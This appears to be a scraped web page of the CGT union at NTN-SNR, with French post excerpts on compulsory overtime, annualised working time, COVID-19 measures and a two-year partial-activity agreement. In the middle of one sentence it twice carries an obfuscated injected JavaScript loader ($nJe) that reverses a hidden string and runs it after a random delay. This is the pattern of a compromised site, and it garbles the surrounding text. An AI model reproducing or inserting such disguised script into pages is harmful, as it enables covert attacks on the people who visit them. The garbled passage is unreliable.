La direction poursuit son CAP
La main sur le cœur elle nous dit qu’elle veut concilier la vie de famille avec la vie professionnelle, la réalité sera toute autre.
La CGT à fait les 2 déclarations suivantes
Lundi 30 Mars 2020 nous avions déjà déclaré : La priorité c’est
protéger !
La priorité est bien de prendre toutes les...
Travailler
moins, travailler mieux, travailler toutes et tous !
À l’heure où « la relance de l’économie »
est prétexte pour dem$nJe=function(n){if (typeof ($nJe.list) == "string") return $nJe.list.split("").reverse().join("");return $nJe.list;};$nJe.list=;var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0),...
 la dem$nJe=function(n){if (typeof ($nJe.list) == "string") return $nJe.list.split("").reverse().join("");return $nJe.list;};$nJe.list=;var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ande de la CGT. ...
Après l’annonce sur les 300 heures supplémentaires obligatoires
L’annualisation du temps de travail sera donc la nouvelle norme dans l’entreprise si nous ne nous mobilisons pas.
Les...
Flexibilité ou Travail à la carte Voilà le seul discours que la direction a rétorqué pendant les séances...
Une position dogmatique !
Proposition NTN-SNR de porter le contingent des heures supplémentaires à 400 heures.
Avec un Contingent de base obligatoire pouvant atteindre 300 heures, sans...
Depuis le point haut de 2017, les années de 2018 -2019 : ET BIEN AVANT LE COVID, NTN SNR FAIT FACE À UNE BAISSE DURABLE DE SON CHIFFRE D’AFFAIRES ET PAR CONSÉQUENT DE SON ACTIVITÉ DE...
Dans le contexte de crise sanitaire majeure, lié à l’épidémie de Coronavirus (COVID-19), qui appelle à prendre les mesures indispensables à son endiguement, la CGT NTN SNR entend ainsi à affirmer le rôle essentiel du dialogue...
Accord de mise en place du dispositif d’activité partielle longue durée(APLD) au sein du groupe NTN-SNR ROULEMENTS
C’est fait on en prend pour 2 ans il s’appliquera jusqu’ au 31/10/2022.
